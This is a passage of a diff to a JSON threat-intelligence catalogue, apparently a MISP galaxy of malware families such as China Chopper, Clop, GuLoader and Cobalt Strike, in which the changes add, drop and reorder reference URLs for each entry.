"https://www.reddit.com/r/msp/comments/lwmo5c/mass_exploitation_of_onprem_exchange_servers", + "https://www.microsoft.com/security/blog/2022/07/26/malicious-iis-extensions-quietly-open-persistent-backdoors-into-servers/", + "https://news.sophos.com/en-us/2021/05/07/new-lemon-duck-variants-exploiting-microsoft-exchange-server/?cmp=30728", + "https://www.imperva.com/blog/imperva-observes-hive-of-activity-following-hafnium-microsoft-exchange-disclosures/", + "https://adeo.com.tr/wp-content/uploads/2020/02/APT10_Report.pdf", + "https://attack.mitre.org/groups/G0125/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/witchetty-steganography-espionage", + "https://web.archive.org/web/20200307113010/https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1574947864.pdf", + "https://www.wired.com/story/china-microsoft-exchange-server-hack-victims/", + "https://informationonsecurity.blogspot.com/2012/11/china-chopper-webshell.html", + "https://www.fireeye.com/blog/threat-research/2021/03/detection-response-to-exploitation-of-microsoft-exchange-zero-day-vulnerabilities.html", + "https://www.microsoft.com/security/blog/2021/03/25/analyzing-attacks-taking-advantage-of-the-exchange-server-vulnerabilities/", + "https://www.secureworks.com/blog/ongoing-campaign-leveraging-exchange-vulnerability-potentially-linked-to-iran", + "https://www.trendmicro.com/en_us/research/21/a/targeted-attack-using-chopper-aspx-web-shell-exposed-via-managed.html", + "https://blog.joshlemon.com.au/hafnium-exchange-attacks/", + "https://www.youtube.com/watch?v=rn-6t7OygGk", + "https://www.secureworks.com/research/threat-profiles/bronze-president" ], "synonyms": [], "type": [] @@ -17607,7 +18442,9 @@ "description": "Adware that shows advertisements using plugin techniques for popular browsers", "meta": { "refs": [ - "https://malpedia.caad.fkie.fraunhofer.de/details/win.chinad" + "https://malpedia.caad.fkie.fraunhofer.de/details/win.chinad", + "https://www.malwarebytes.com/blog/news/2015/06/unusual-exploit-kit-targets-chinese-users-part-2", + "https://www.malwarebytes.com/blog/news/2015/05/unusual-exploit-kit-targets-chinese-users-part-1" ], "synonyms": [], "type": [] @@ -17633,11 +18470,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.chinotto", + "https://www.zscaler.com/blogs/security-research/unintentional-leak-glimpse-attack-vectors-apt37", "https://thorcert.notion.site/TTPs-9-f04ce99784874947978bd2947738ac92", - "https://blog.sekoia.io/peeking-at-reaper-surveillance-operations-against-north-korea-defectors/", "https://securelist.com/scarcruft-surveilling-north-korean-defectors-and-human-rights-activists/105074/", - "https://threatmon.io/chinotto-backdoor-technical-analysis-of-the-apt-reapers-powerful/", - "https://www.boho.or.kr/data/reportView.do?bulletin_writing_sequence=67064" + "https://blog.sekoia.io/peeking-at-reaper-surveillance-operations-against-north-korea-defectors/", + "https://www.boho.or.kr/data/reportView.do?bulletin_writing_sequence=67064", + "https://threatmon.io/chinotto-backdoor-technical-analysis-of-the-apt-reapers-powerful/" ], "synonyms": [], "type": [] @@ -17651,15 +18489,15 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.chinoxy", "https://documents.trendmicro.com/assets/white_papers/wp-finding-APTX-attributing-attacks-via-MITRE-TTPs.pdf", - "https://www.fortinet.com/blog/threat-research/pivnoxy-and-chinoxy-puppeteer-analysis", "https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf", - "https://community.riskiq.com/article/5fe2da7f", - "https://medium.com/@Sebdraven/new-version-of-chinoxy-backdoor-using-covid19-document-lure-83fa294c0746", - "https://nao-sec.org/2021/01/royal-road-redive.html", + "https://www.fortinet.com/blog/threat-research/pivnoxy-and-chinoxy-puppeteer-analysis", "https://community.riskiq.com/article/56fa1b2f", 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"https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", - "https://medium.com/s2wlab/operation-synctrek-e5013df8d167", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", - "https://www.crowdstrike.com/blog/how-big-game-hunting-ttps-shifted-after-darkside-pipeline-attack/", - "https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", - "https://github.com/albertzsigovits/malware-notes/blob/master/Clop.md", - "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", + "https://www.binance.com/en/blog/421499824684902240/Binance-Helps-Take-Down-Cybercriminal-Ring-Laundering-%24500M-in-Ransomware-Attacks", + "https://twitter.com/darb0ng/status/1338692764121251840", "https://www.secureworks.com/research/threat-profiles/gold-tahoe", - "https://blog.sensecy.com/2020/08/20/global-ransomware-attacks-in-2020-the-top-4-vulnerabilities/", - "https://asec.ahnlab.com/en/19542/", - "https://www.flashpoint-intel.com/blog/cl0p-and-revil-escalate-their-ransomware-tactics/", - "https://medium.com/@Sebdraven/unpacking-clop-416b83718e0f", - "https://www.bleepingcomputer.com/news/security/clop-ransomware-gang-is-back-hits-21-victims-in-a-single-month/" + "https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/", + "https://www.advanced-intel.com/post/adversarial-perspective-advintel-breach-avoidance-through-monitoring-initial-vulnerabilities", + "https://www.carbonblack.com/blog/cb-tau-threat-intelligence-notification-cryptomix-clop-ransomware-disables-startup-repair-removes-edits-shadow-volume-copies/", + "https://www.zdnet.com/article/german-tech-giant-software-ag-down-after-ransomware-attack/", + "https://www.bleepingcomputer.com/news/security/ransomware-gang-urges-victims-customers-to-demand-a-ransom-payment/", + "https://blog.fox-it.com/2020/11/16/ta505-a-brief-history-of-their-time/", + "https://fourcore.io/blogs/clop-ransomware-history-adversary-simulation", + "https://www.notion.so/S2W-LAB-Analysis-of-Clop-Ransomware-suspiciously-related-to-the-Recent-Incident-English-088056baf01242409a6e9f844f0c5f2e", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf", + "https://www.fireeye.com/blog/threat-research/2021/02/accellion-fta-exploited-for-data-theft-and-extortion.html", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf" ], "synonyms": [], "type": [] @@ -17954,7 +18814,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudburst", - "https://www.mandiant.com/resources/blog/lightshow-north-korea-unc2970" + "https://www.mandiant.com/resources/blog/lightshow-north-korea-unc2970", + "https://www.microsoft.com/security/blog/2022/09/29/zinc-weaponizing-open-source-software/" ], "synonyms": [], "type": [] @@ -17967,58 +18828,66 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye", - "https://labs.k7computing.com/?p=20156", - "https://www.joesecurity.org/blog/3535317197858305930", - "https://blog.morphisec.com/guloader-the-rat-downloader", - "https://threatresearch.ext.hp.com/malware-campaigns-targeting-african-banking-sector/", - "https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943", - "https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/", - "https://threatresearch.ext.hp.com/wp-content/uploads/2021/10/HP-Wolf-Security-Threat-Insights-Report-Q3-2021.pdf", - "https://twitter.com/sysopfb/status/1258809373159305216", - "https://malpedia.caad.fkie.fraunhofer.de/details/win.guloader", - "https://www.youtube.com/watch?v=-FxyzuRv6Wg", - "https://labs.bitdefender.com/2020/03/5-times-more-coronavirus-themed-malware-reports-during-march/?utm_campaign=twitter&utm_medium=twitter&utm_source=twitter", - "https://research.checkpoint.com/2020/guloader-cloudeye/", - "https://twitter.com/TheEnergyStory/status/1240608893610459138", - "https://cert.pl/en/posts/2021/04/keeping-an-eye-on-guloader-reverse-engineering-the-loader/", - "https://www.youtube.com/watch?v=N0wAh26wShE", - "https://experience.mandiant.com/trending-evil-2/p/1", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", - "https://www.youtube.com/watch?v=K3Yxu_9OUxU", - "https://www.crowdstrike.com/blog/guloader-dissection-reveals-new-anti-analysis-techniques-and-code-injection-redundancy/", - "https://unit42.paloaltonetworks.com/guloader-installing-netwire-rat/", - "https://twitter.com/TheEnergyStory/status/1239110192060608513", - "https://research.checkpoint.com/2020/threat-actors-migrating-to-the-cloud/", - "https://threatresearch.ext.hp.com/javascript-malware-dispensing-rats-into-the-wild/", - "https://hidocohen.medium.com/guloaders-anti-analysis-techniques-e0d4b8437195", - "https://www.fortinet.com/blog/threat-research/spoofed-saudi-purchase-order-drops-guloader-part-two", - "https://www.spamhaus.com/resource-center/dissecting-the-new-shellcode-based-variant-of-guloader-cloudeye/", - "https://twitter.com/VK_Intel/status/1255537954304524288", - "https://www.vmray.com/cyber-security-blog/guloader-evasion-techniques-threat-bulletin/", - "https://www.vmray.com/cyber-security-blog/azorult-delivered-by-guloader-malware-analysis-spotlight/", - "https://www.microsoft.com/en-us/security/blog/2023/04/13/threat-actors-strive-to-cause-tax-day-headaches/", - "https://forensicitguy.github.io/guloader-executing-shellcode-callbacks/", - "https://www.crowdstrike.com/blog/guloader-malware-analysis/", - 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"GuLoader", @@ -18029,6 +18898,19 @@ "uuid": "966f54ae-1781-4f2e-8b32-57a242a00bb9", "value": "CloudEyE" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudwizard", + "https://securelist.com/cloudwizard-apt/109722/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "4d941367-b22e-4d01-930e-c757b58eff58", + "value": "CloudWizard" + }, { "description": "F-Secure describes CloudDuke as a malware toolset known to consist of, at least, a downloader, a loader and two backdoor variants. The CloudDuke downloader will download and execute additional malware from a preconfigured location. Interestingly, that location may be either a web address or a Microsoft OneDrive account. Both CloudDuke backdoor variants support simple backdoor functionality, similar to SeaDuke. While one variant will use a preconfigured C&C server over HTTP or HTTPS, the other variant will use a Microsoft OneDrive account to exchange commands and stolen data with its operators.", "meta": { @@ -18064,9 +18946,9 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.cmstar", "https://twitter.com/ClearskySec/status/963829930776723461", - "https://researchcenter.paloaltonetworks.com/2017/09/unit42-threat-actors-target-government-belarus-using-cmstar-trojan", "https://researchcenter.paloaltonetworks.com/2016/03/digital-quartermaster-scenario-demonstrated-in-attacks-against-the-mongolian-government/", - "https://unit42.paloaltonetworks.com/unit42-threat-actors-target-government-belarus-using-cmstar-trojan" + "https://unit42.paloaltonetworks.com/unit42-threat-actors-target-government-belarus-using-cmstar-trojan", + "https://researchcenter.paloaltonetworks.com/2017/09/unit42-threat-actors-target-government-belarus-using-cmstar-trojan" ], "synonyms": [ "meciv" @@ -18081,8 +18963,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.coalabot", - "https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145", - "https://malware.dontneedcoffee.com/2017/10/coalabot-http-ddos-bot.html" + "https://malware.dontneedcoffee.com/2017/10/coalabot-http-ddos-bot.html", + "https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145" ], "synonyms": [], "type": [] @@ -18095,8 +18977,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.cobaltmirage_tunnel", - "https://www.deepinstinct.com/blog/iranian-threat-actor-continues-to-develop-mass-exploitation-tools", - "https://www.secureworks.com/blog/cobalt-mirage-conducts-ransomware-operations-in-us" + "https://www.secureworks.com/blog/cobalt-mirage-conducts-ransomware-operations-in-us", + "https://www.deepinstinct.com/blog/iranian-threat-actor-continues-to-develop-mass-exploitation-tools" ], "synonyms": [], "type": [] @@ -18109,649 +18991,667 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.cobalt_strike", - "https://securelist.com/apt-trends-report-q2-2020/97937/", - "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/csi-evidence-indicators-for-targeted-ransomware-attacks-part-ii/", - "https://securityscorecard.com/research/the-increase-in-ransomware-attacks-on-local-governments", - "https://www.unh4ck.com/detection-engineering-and-threat-hunting/lateral-movement/detecting-conti-cobaltstrike-lateral-movement-techniques-part-2", - "https://www.brighttalk.com/webcast/7451/462719", - "https://www.kroll.com/en/insights/publications/cyber/hive-ransomware-technical-analysis-initial-access-discovery", - "https://isc.sans.edu/diary/27308", - "https://www.advintel.io/post/24-hours-from-log4shell-to-local-admin-deep-dive-into-conti-gang-attack-on-fortune-500-dfir", - "https://www.telsy.com/legitimate-sites-used-as-cobalt-strike-c2s-against-indian-government/", - "https://research.checkpoint.com/2019/rancor-the-year-of-the-phish/", - "https://michaelkoczwara.medium.com/cobalt-strike-hunting-simple-pcap-and-beacon-analysis-f51c36ce6811", - "https://www.cybereason.com/blog/cybereason-vs-egregor-ransomware", - "https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf", - "https://www.cert.ssi.gouv.fr/cti/CERTFR-2021-CTI-011/", - "https://www.silentpush.com/blog/consequences-the-conti-leaks-and-future-problems", - "https://blog.netlab.360.com/blackrota-an-obfuscated-backdoor-written-in-go/", - "https://www.trendmicro.com/en_in/research/21/k/analyzing-proxyshell-related-incidents-via-trend-micro-managed-x.html", - "https://github.com/chronicle/GCTI", - "https://www.esentire.com/blog/conti-affiliate-exposed-new-domain-names-ip-addresses-and-email-addresses-uncovered-by-esentire", - "https://www.cyberark.com/resources/threat-research/analyzing-malware-with-hooks-stomps-and-return-addresses-2", - "https://www.randhome.io/blog/2020/12/20/analyzing-cobalt-strike-for-fun-and-profit/", - "https://research.nccgroup.com/2022/03/25/mining-data-from-cobalt-strike-beacons/", - "https://www.sentinelone.com/labs/lockbit-ransomware-side-loads-cobalt-strike-beacon-with-legitimate-vmware-utility/", - "https://thedfirreport.com/2021/01/31/bazar-no-ryuk/", - "https://github.com/JPCERTCC/aa-tools/blob/master/cobaltstrikescan.py", - "https://www.sentinelone.com/blog/bluesky-ransomware-ad-lateral-movement-evasion-and-fast-encryption-puts-threat-on-the-radar/", - "https://grimminck.medium.com/spoofing-jarm-signatures-i-am-the-cobalt-strike-server-now-a27bd549fc6b", - "https://ti.qianxin.com/blog/articles/Operation-OceanStorm:The-OceanLotus-hidden-under-the-abyss-of-the-deep/", - "http://www.secureworks.com/research/threat-profiles/gold-drake", - "https://intel471.com/blog/china-cybercrime-undergrond-deepmix-tea-horse-road-great-firewall/", - "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/", - "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", - "https://www.cynet.com/attack-techniques-hands-on/quakbot-strikes-with-quaknightmare-exploitation/", - "https://community.riskiq.com/article/c88cf7e6", - "https://www.mandiant.com/resources/blog/phished-at-the-request-of-counsel", - "https://www.advanced-intel.com/post/anatomy-of-attack-inside-bazarbackdoor-to-ryuk-ransomware-one-group-via-cobalt-strike", - "https://cpj.org/2021/02/vietnam-based-hacking-oceanlotus-targets-journalists", - "https://www.esentire.com/blog/increase-in-emotet-activity-and-cobalt-strike-deployment", - "https://isc.sans.edu/diary/rss/28664", - "https://www.trendmicro.com/en_us/research/21/g/tracking_cobalt_strike_a_vision_one_investigation.html", - "https://www.secureworks.com/blog/detecting-cobalt-strike-cybercrime-attacks", - "https://thedfirreport.com/2021/09/13/bazarloader-to-conti-ransomware-in-32-hours/", - "https://www.zscaler.com/blogs/security-research/onenote-growing-threat-malware-distribution", - "https://malwarebookreports.com/cryptone-cobalt-strike/", - "https://thedfirreport.com/2022/09/12/dead-or-alive-an-emotet-story/", - "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-blackbasta", - "https://www.advintel.io/post/enter-karakurt-data-extortion-arm-of-prolific-ransomware-group", - "https://www.sentinelone.com/blog/threat-actor-uac-0056-targeting-ukraine-with-fake-translation-software/", - "https://elastic.github.io/security-research/intelligence/2022/01/03.extracting-cobalt-strike-beacon/article/", - "https://thedfirreport.com/2021/05/02/trickbot-brief-creds-and-beacons/", - "https://www.bleepingcomputer.com/news/security/fake-antivirus-updates-used-to-deploy-cobalt-strike-in-ukraine/", - "https://www.scmagazine.com/brief/breach/novel-obfuscation-leveraged-by-hive-ransomware", - "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/locked-loaded-and-in-the-wrong-hands-legitimate-tools-weaponized-for-ransomware-in-2021", - "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/bb-ebook-finding-beacons-in-the-dark.pdf", - "https://blog.talosintelligence.com/2020/02/building-bypass-with-msbuild.html", - "https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti/", - "https://teamt5.org/tw/posts/mjib-holds-briefing-on-chinese-hackers-attacks-on-taiwanese-government-agencies/", - "https://www.mandiant.com/resources/apt41-us-state-governments", - "https://www.unh4ck.com/detection-engineering-and-threat-hunting/lateral-movement/detecting-conti-cobaltstrike-lateral-movement-techniques-part-1", - "https://norfolkinfosec.com/jeshell-an-oceanlotus-apt32-backdoor/", - "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", - "https://twitter.com/AltShiftPrtScn/status/1403707430765273095", - "https://www.sentinelone.com/labs/lockbit-ransomware-side-loads-cobalt-strike-beacon-with-legitimate-vmware-utility", - "https://www.huntress.com/blog/hackers-no-hashing-randomizing-api-hashes-to-evade-cobalt-strike-shellcode-detection", - "https://unit42.paloaltonetworks.com/cloaked-ursa-online-storage-services-campaigns/", - "https://www.trendmicro.com/en_us/research/21/d/hello-ransomware-uses-updated-china-chopper-web-shell-sharepoint-vulnerability.html", - "https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/", - "https://thedfirreport.com/2020/04/24/ursnif-via-lolbins/", - "https://www.trendmicro.com/en_us/research/20/i/u-s--justice-department-charges-apt41-hackers-over-global-cyberattacks.html", - "https://intel471.com/blog/conti-emotet-ransomware-conti-leaks", - "https://pkb1s.github.io/Relay-attacks-via-Cobalt-Strike-beacons/", - "https://businessinsights.bitdefender.com/tech-advisory-manageengine-cve-2022-47966", - "https://www.carbonblack.com/2020/03/26/the-dukes-of-moscow/", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-009.pdf", - "https://blog.lumen.com/zuorat-hijacks-soho-routers-to-silently-stalk-networks/", - "https://isc.sans.edu/diary/rss/28752", - "https://blogs.vmware.com/networkvirtualization/2020/11/trick-or-threat-ryuk-ransomware-targets-the-health-care-industry.html/", - "https://cybersecurity.att.com/blogs/security-essentials/stories-from-the-soc-powershell-proxyshell-conti-ttps-oh-my", - "https://hello.global.ntt/-/media/ntt/global/insights/white-papers/the-operations-of-winnti-group.pdf", - "https://www.blackarrow.net/leveraging-microsoft-teams-to-persist-and-cover-up-cobalt-strike-traffic/", - "https://talos-intelligence-site.s3.amazonaws.com/production/document_files/files/000/095/031/original/Talos_Cobalt_Strike.pdf", - "https://speakerdeck.com/aragorntseng/winnti-is-coming-evolution-after-prosecution-at-hitcon2021", - "https://isc.sans.edu/forums/diary/Excel+spreadsheets+push+SystemBC+malware/27060/", - "https://www.aon.com/cyber-solutions/aon_cyber_labs/cobalt-strike-configuration-extractor-and-parser/", - "https://twitter.com/Unit42_Intel/status/1458113934024757256", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/yanluowang-ransomware-attacks-continue", - "https://cert.gov.ua/article/703548", - "https://labs.f-secure.com/blog/detecting-cobalt-strike-default-modules-via-named-pipe-analysis", - "https://github.com/ThreatConnect-Inc/research-team/blob/master/IOCs/WizardSpider-UNC1878-Ryuk.csv", - "https://twitter.com/TheDFIRReport/status/1356729371931860992", + "https://mergene.medium.com/enterprise-scale-threat-hunting-network-beacon-detection-with-unsupervised-machine-learning-and-277c4c30304f", "https://unit42.paloaltonetworks.com/atoms/obscureserpens/", - "https://news.sophos.com/en-us/2022/08/18/cookie-stealing-the-new-perimeter-bypass", - "https://www.malware-traffic-analysis.net/2021/09/29/index.html", - "https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/", - "https://www.secureworks.com/research/threat-profiles/tin-woodlawn", - "https://twitter.com/Unit42_Intel/status/1461004489234829320", - "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-148a", - "https://www.accenture.com/us-en/blogs/cyber-defense/moving-left-ransomware-boom", - "https://www.trendmicro.com/en_us/research/21/g/biopass-rat-new-malware-sniffs-victims-via-live-streaming.html", - "https://nsfocusglobal.com/insights-into-ransomware-spread-using-exchange-1-day-vulnerabilities-1-2/", - "https://www.mandiant.com/media/10916/download", - "https://www.mandiant.com/resources/sabbath-ransomware-affiliate", - "https://www.cyber.gov.au/sites/default/files/2020-06/ACSC-Advisory-2020-008-Copy-Paste-Compromises.pdf", - "https://www.zscaler.com/blogs/research/targeted-attack-leverages-india-china-border-dispute-lure-victims", - "https://blog.reversinglabs.com/blog/threat-analysis-follina-exploit-powers-live-off-the-land-attacks", - "https://news.sophos.com/en-us/2021/05/18/the-active-adversary-playbook-2021/?cmp=37153", - "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/new-apt-group-chamelgang/#id3", - "https://noticeofpleadings.com/crackedcobaltstrike/files/ComplaintAndSummons/1%20-Microsoft%20Cobalt%20Strike%20-%20Complaint(907040021.9).pdf", - "https://www.cybereason.com/blog/threat-analysis-report-bumblebee-loader-the-high-road-to-enterprise-domain-control", - "https://www.sans.org/webcasts/contrarian-view-solarwinds-119515", - "https://blog.cobaltstrike.com/2020/11/06/cobalt-strike-4-2-everything-but-the-kitchen-sink/", - "https://blog.morphisec.com/log4j-exploit-targets-vulnerable-unifi-network-applications", - "https://i.blackhat.com/eu-20/Wednesday/eu-20-Clarke-Its-Not-FINished-The-Evolving-Maturity-In-Ransomware-Operations.pdf", - "https://www.bitsight.com/blog/emotet-botnet-rises-again", - "https://twitter.com/TheDFIRReport/status/1359669513520873473", - "https://twitter.com/Cryptolaemus1/status/1407135648528711680", - "https://www.arashparsa.com/hook-heaps-and-live-free/", - "https://www.qurium.org/alerts/targeted-malware-against-crph/", - "https://blog.nviso.eu/2022/07/20/analysis-of-a-trojanized-jquery-script-gootloader-unleashed/", - "https://www.trendmicro.com/en_us/research/21/a/earth-wendigo-injects-javascript-backdoor-to-service-worker-for-.html", - "https://www.fortinet.com/blog/threat-research/nobelium-returns-to-the-political-world-stage", - "https://kienmanowar.wordpress.com/2021/09/06/quick-analysis-cobaltstrike-loader-and-shellcode/", - "https://www.mandiant.com/resources/unc2452-merged-into-apt29", - "https://www.welivesecurity.com/2022/04/13/eset-takes-part-global-operation-disrupt-zloader-botnets/", - "https://malcat.fr/blog/lnk-forensic-and-config-extraction-of-a-cobalt-strike-beacon/", - "https://labs.sentinelone.com/hotcobalt-new-cobalt-strike-dos-vulnerability-that-lets-you-halt-operations/", - "https://assets.virustotal.com/reports/2021trends.pdf", - "https://research.nccgroup.com/2022/03/31/conti-nuation-methods-and-techniques-observed-in-operations-post-the-leaks/", - "https://medium.com/walmartglobaltech/trickbot-crews-new-cobaltstrike-loader-32c72b78e81c", - "https://blog.malwarebytes.com/threat-analysis/2020/07/chinese-apt-group-targets-india-and-hong-kong-using-new-variant-of-mgbot-malware/", - "https://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/operation-drbcontrol-uncovering-a-cyberespionage-campaign-targeting-gambling-companies-in-southeast-asia", - "https://cybleinc.com/2020/11/17/oceanlotus-continues-with-its-cyber-espionage-operations/", - "https://www.truesec.com/hub/blog/proxyshell-qbot-and-conti-ransomware-combined-in-a-series-of-cyber-attacks", - "https://www.advanced-intel.com/post/front-door-into-bazarbackdoor-stealthy-cybercrime-weapon", - "https://www.arashparsa.com/catching-a-malware-with-no-name/", - "https://labs.f-secure.com/blog/detecting-exposed-cobalt-strike-dns-redirectors", - "https://blog.reconinfosec.com/analysis-of-exploitation-cve-2020-10189/", - "https://blogs.blackberry.com/en/2020/12/mountlocker-ransomware-as-a-service-offers-double-extortion-capabilities-to-affiliates", - "https://enterprise.verizon.com/resources/reports/2019-data-breach-investigations-report.pdf", - "https://www.npu.gov.ua/news/kiberzlochini/kiberpolicziya-vikrila-xakerske-ugrupovannya-u-rozpovsyudzhenni-virusu-shifruvalnika-ta-nanesenni-inozemnim-kompaniyam-piv-milyarda-dolariv-zbitkiv/", - "https://www.secureworks.com/blog/hades-ransomware-operators-use-distinctive-tactics-and-infrastructure", - "https://awakesecurity.com/blog/catching-the-white-stork-in-flight/", - "https://twitter.com/redcanary/status/1334224861628039169", - "https://thehackernews.com/2022/05/malware-analysis-trickbot.html", - "https://www.incibe-cert.es/sites/default/files/contenidos/estudios/doc/incibe-cert_estudio_analisis_nobelium_2022_v1.pdf", - "https://www.mandiant.com/resources/defining-cobalt-strike-components", - "https://www.botconf.eu/wp-content/uploads/2022/05/Botconf2022-40-LunghiHorejsi.pdf", - "https://blueteamblog.com/darkside-ransomware-operations-preventions-and-detections", - "https://www.proofpoint.com/us/blog/threat-insight/nimzaloader-ta800s-new-initial-access-malware", - "https://www.inky.com/blog/colonial-pipeline-ransomware-hack-unleashes-flood-of-related-phishing-attempts", - "https://www.bleepingcomputer.com/news/security/cisa-updates-conti-ransomware-alert-with-nearly-100-domain-names/", - "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-dianxun.pdf", - "https://svch0st.medium.com/guide-to-named-pipes-and-hunting-for-cobalt-strike-pipes-dc46b2c5f575", - "https://www.welivesecurity.com/2021/08/24/sidewalk-may-be-as-dangerous-as-crosswalk/", - "https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2", - "https://www.prodaft.com/m/reports/WizardSpider_TLPWHITE_v.1.4.pdf", - "https://cert.gov.ua/article/619229", - "https://blog.cobaltstrike.com/2021/02/09/learn-pipe-fitting-for-all-of-your-offense-projects/", - "https://blog.exatrack.com/melofee/", - "http://blog.nsfocus.net/murenshark", - "https://www.intrinsec.com/proxynotshell-owassrf-merry-xchange/", - "https://community.riskiq.com/article/f0320980", - "https://www.crowdstrike.com/blog/how-falcon-complete-stopped-a-solarwinds-serv-u-exploit-campaign/", - "https://twitter.com/Unit42_Intel/status/1421117403644186629?s=20", - "https://decoded.avast.io/luigicamastra/backdoored-client-from-mongolian-ca-monpass", - "https://blog.cobaltstrike.com/2020/03/04/cobalt-strike-joins-core-impact-at-helpsystems-llc/", - "https://blog.talosintelligence.com/2021/05/ctir-case-study.html", - "https://resource.redcanary.com/rs/003-YRU-314/images/2021-Threat-Detection-Report.pdf", - "https://thedfirreport.com/2021/06/20/from-word-to-lateral-movement-in-1-hour/", - "https://www.fireeye.com/blog/threat-research/2021/02/melting-unc2198-icedid-to-ransomware-operations.html", - "https://us-cert.cisa.gov/ncas/alerts/aa21-265a", - "https://www.mandiant.com/resources/russian-targeting-gov-business", - "https://blog.securityonion.net/2022/02/quick-malware-analysis-emotet-epoch-5.html", + "https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-annex-download.pdf", "https://michaelkoczwara.medium.com/cobalt-strike-powershell-payload-analysis-eecf74b3c2f7", + "https://www.infinitumit.com.tr/en/conti-ransomware-group-behind-the-karakurt-hacking-team/", + "https://www.fintechsecurity.com.hk/slides/01.Dmitry-Annual-Group-IB-report-High-Tech-Crime-Trends.pdf", + "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-268a", + "https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmw-exposing-malware-in-linux-based-multi-cloud-environments.pdf", + "https://www.secureworks.com/research/threat-profiles/tin-woodlawn", + "https://www.secureworks.com/research/threat-profiles/bronze-mohawk", + "https://blog.talosintelligence.com/2021/05/lemon-duck-spreads-wings.html", + "https://thedfirreport.com/2021/05/12/conti-ransomware/", + "https://twitter.com/alex_lanstein/status/1399829754887524354", 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"https://www.trustnet.co.il/blog/virus-alert-to-powershell-encrypted-loader/", - "https://rastamouse.me/ntlm-relaying-via-cobalt-strike/", - "https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-annex-download.pdf", - "https://medium.com/walmartglobaltech/from-royal-with-love-88fa05ff7f65", - "https://videos.didierstevens.com/2022/09/06/an-obfuscated-beacon-extra-xor-layer/", - "https://go.recordedfuture.com/hubfs/reports/cta-2021-0107.pdf", - "https://401trg.com/burning-umbrella/ ", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", - "https://www.hhs.gov/sites/default/files/bazarloader.pdf", - "https://www.zscaler.com/blogs/security-research/squirrelwaffle-new-loader-delivering-cobalt-strike", - "https://blog.cyble.com/2022/06/23/matanbuchus-loader-resurfaces/", - "https://i.blackhat.com/Asia-22/Thursday-Materials/AS-22-LeonSilvia-NextGenPlugXShadowPad.pdf", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", - "https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/", - "https://isc.sans.edu/diary/rss/27176", - "https://blog.talosintelligence.com/2022/08/manjusaka-offensive-framework.html", - "https://tccontre.blogspot.com/2019/11/cobaltstrike-beacondll-your-not.html", - "https://cluster25.io/2022/05/03/a-strange-link-between-a-destructive-malware-and-the-loader-of-a-ransomware-group-isaacwiper-vs-vatet/", - "https://news.sophos.com/en-us/2020/10/14/inside-a-new-ryuk-ransomware-attack/", - 